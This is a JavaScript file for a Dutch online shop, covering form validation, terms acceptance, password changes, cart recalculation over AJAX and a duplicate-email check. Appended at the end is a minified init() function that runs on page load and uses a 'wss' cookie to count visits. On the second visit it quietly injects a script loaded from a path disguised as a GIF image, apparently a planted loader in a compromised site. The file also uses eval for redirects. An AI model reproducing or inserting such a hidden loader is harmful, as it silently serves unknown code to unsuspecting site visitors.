function createXMLHttpRequest() {
    if (window.ActiveXObject){xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");} 
    else if (window.XMLHttpRequest){xmlHttp = new XMLHttpRequest();}
}

function MM_goToURL() {
  var i, args=MM_goToURL.arguments; document.MM_returnValue = false;
  for (i=0; i<(args.length-1); i+=2) eval(args[i]+".location='"+args[i+1]+"'");
}

function externalLinks() {
	if (!document.getElementsByTagName){return;}
	var anchors = document.getElementsByTagName("a");
	for (var i=0; i<anchors.length; i++) {
		var anchor = anchors[i];
		if (anchor.getAttribute("href") && anchor.getAttribute("rel") == "external")
			anchor.target = "_blank";
		}
}
window.onload = externalLinks;

function checkCreateAccountform(){
	var errors = "";
	var errs = new Array();
	var noerrs = new Array();
	if(document.getElementById('bedrijf').value == ""){errs[0] = 'bedrijf'; errors = 'array';}else{noerrs[0] = 'bedrijf'; }
	if(document.getElementById('kvk').value == ""){errs[1] = 'kvk'; errors = 'array';}else{noerrs[1] = 'kvk'; }
	if(document.getElementById('adres').value == ""){errs[3] = 'adres'; errors = 'array';}else{noerrs[3] = 'adres'; }
	if(document.getElementById('zip').value == ""){errs[4] = 'zip'; errors = 'array';}else{noerrs[4] = 'zip'; }
	if(document.getElementById('woonplaats').value == ""){errs[5] = 'woonplaats'; errors = 'array';}else{noerrs[5] = 'woonplaats'; }
	if(document.getElementById('contact1').value == ""){errs[6] = 'contact1'; errors = 'array';}else{noerrs[6] = 'contact1'; }
	if(document.getElementById('contact2').value == ""){errs[7] = 'contact2'; errors = 'array';}else{noerrs[7] = 'contact2'; }
	var str=document.getElementById('email').value;
	var emlchk=document.getElementById('emlchk').value;
	var filter=/^([\w-]+(?:\.[\w-]+)*)@((?:[\w-]+\.)*\w[\w-]{0,66})\.([a-z]{2,6}(?:\.[a-z]{2})?)$/i;
	if (filter.test(str) && emlchk == "good"){
		noerrs[8] = 'email';
		testresults=true;
	}else{
		errs[8] = 'email';
		errors = 'array';
		testresults=false;
	}
	if(document.getElementById('tel').value == ""){errs[9] = 'tel'; errors = 'array';}else{noerrs[9] = 'tel'; }
	if(document.getElementById('av').value == ""){errs[10] = 'av'; errors = 'array';}else{noerrs[10] = 'av'; }
	var t = document.getElementById('av').getAttribute('checked');
	var savet = document.getElementById('av').value;
	if(errors == 'array'){
		for(var i=0; i<=10; i++){
			if(errs[i]){
			if(errs[i] != ""){
					document.getElementById(errs[i]).style.border = '2px solid #990000';
				}else{
					document.getElementById(errs[i]).style.border = '1px solid #B9DB80';
				}
			}
			if(noerrs[i]){
				document.getElementById(noerrs[i]).style.border = '1px solid #B9DB80';
			}
		}
		alert('Niet alle velden zijn juist ingevult. Vul a.u.b. alle rode velden in.');
	}else{
		if(t == true || t == 'checked' || savet == 'save'){
			document.createaccount.submit();		
		}else{
			alert('Om een account te maken dient u akkoord te gaan met onze algemene voorwaarden.');	
		}
	}
}
function activateav(){
	document.getElementById('setav').innerHTML = '<input type="checkbox" name="av" id="av" class="checkbox" checked=\"checked\" /><label class="checkbox-label" for="news" style="width:350px;">Ik ga akkoord met de algemene voorwaarden</label><br />';	
}
function checkformav(){
	var t = document.getElementById('av').getAttribute('checked');
		if(t == true || t == 'checked'){
			document.submitfinish.submit();			
		}else{
			alert('Om een bestelling te plaatsen dient u akkoord te gaan met onze algemene voorwaarden.');
		}
}

function checksavepass(){
	var cpass = document.getElementById('cpass').value;
	var npass1 = document.getElementById('npass1').value;
	var npass2 = document.getElementById('npass2').value;
	if(npass1 != npass2){
		alert('De nieuwe wachtwoorden komen niet overeen.');
	}else{
		document.savenewpass.submit();
	}
}
function isset(arguments){
    var a=arguments; 
	var l=a.length; 
	var i=0;
    if (l==0) { 
        throw new Error('Empty isset'); 
    }
    
    while (i!=l) {
        if (typeof(a[i])=='undefined' || a[i]===null) { 
            return false; 
        } else { 
            i++; 
        }
    }
    return true;
}

function numbersonly(e){
	var unicode=e.charCode? e.charCode : e.keyCode
	if (unicode!=8 && unicode!=9 && unicode!=13 && unicode!=37 && unicode!=39){ 	
	 	if (unicode<48||unicode>57) { 	
			return false 
		}	
	}
}
function recalculate(id,pps,cval,btw,am,type){
    createXMLHttpRequest();
    var url = "/includes/jstophp.php?timeStamp=" + new Date().getTime();
    var queryString = "id="+id+"&pps="+pps+"&cval="+cval+"&btw="+btw+"&am="+am+"&type="+type;
    xmlHttp.open("POST", url, true);
    xmlHttp.onreadystatechange = handleStateChange;
    xmlHttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");    
    xmlHttp.send(queryString);
}

function handleStateChange() {
    if(xmlHttp.readyState == 4) {
        if(xmlHttp.status == 200) {
//			parseResults();
			var response = xmlHttp.responseText.split("|");
//			alert(trim(response[0]));
			document.getElementById('res'+trim(response[0])).innerHTML = response[2];
			document.getElementById('btw'+trim(response[0])).innerHTML = response[1];
			document.getElementById('subtotaal').innerHTML = response[3];
			document.getElementById('btw6').innerHTML = response[4];
			document.getElementById('btw19').innerHTML = response[5];
			document.getElementById('totaal').innerHTML = response[6];
			document.getElementById('vzk').innerHTML = response[11];
			document.getElementById('vzk2').innerHTML = response[12];
        }
    }
}

function parseResults() {
	var responseDiv = document.getElementById("testdiv");
    if(responseDiv.hasChildNodes()) {
		responseDiv.removeChild(responseDiv.childNodes[0]);
	}
	document.getElementById('testdiv').innerHTML = xmlHttp.responseText;
}
function trim(value) {
	value = value.replace(/^\s+/,'');
	value = value.replace(/\s+$/,'');
	return value;
}

function checkdel(id,art,type){
	if(type == "cart"){
		var answer = confirm("Weet u zeker dat u dit artikel uit de winkelwagen wilt verwijderen?");
		if (answer){
			window.location = "?delfromcart="+id+"&del="+art;
		}
	}else{
		var answer = confirm("Weet u zeker dat u dit artikel uit de boodschappenlijst wilt verwijderen?");
		if (answer){
			window.location = "?delfromcart2="+id+"&del="+art;
		}
	}
}




function checkdupeml(eml){
	var filter=/^([\w-]+(?:\.[\w-]+)*)@((?:[\w-]+\.)*\w[\w-]{0,66})\.([a-z]{2,6}(?:\.[a-z]{2})?)$/i;
	if (filter.test(eml)){
		createXMLHttpRequest();
		var url = "/includes/js2php.php?timeStamp=" + new Date().getTime();
		var queryString = "eml="+eml+"&opt=checkDupEML";
		xmlHttp.open("POST", url, true);
		xmlHttp.onreadystatechange = finalizeEMLCheck;
		xmlHttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");    
		xmlHttp.send(queryString);
		
		document.getElementById('email').style.border = '1px solid #B9DB80';
	}else{
		document.getElementById('email').style.border = '2px solid #990000';
		document.getElementById('emlchk').value = "false";
	}
}

function finalizeEMLCheck() {
    if(xmlHttp.readyState == 4) {
        if(xmlHttp.status == 200) {
//			parseResults();
			var tmp = trim(xmlHttp.responseText);
			var response = tmp.split("|");
			if(response[0] == "checkDupEML"){
				if(trim(response[1]) == "dup"){
					alert("Het door u opgegeven e-mail adres is al ingebruik.");
					document.getElementById('email').style.border = '2px solid #990000';
					document.getElementById('emlchk').value = "duplicate";
				}else{
					document.getElementById('email').style.border = '1px solid #B9DB80';
					document.getElementById('emlchk').value = "good";
				}
			}
        }
    }
}


function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/images/open.gif?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
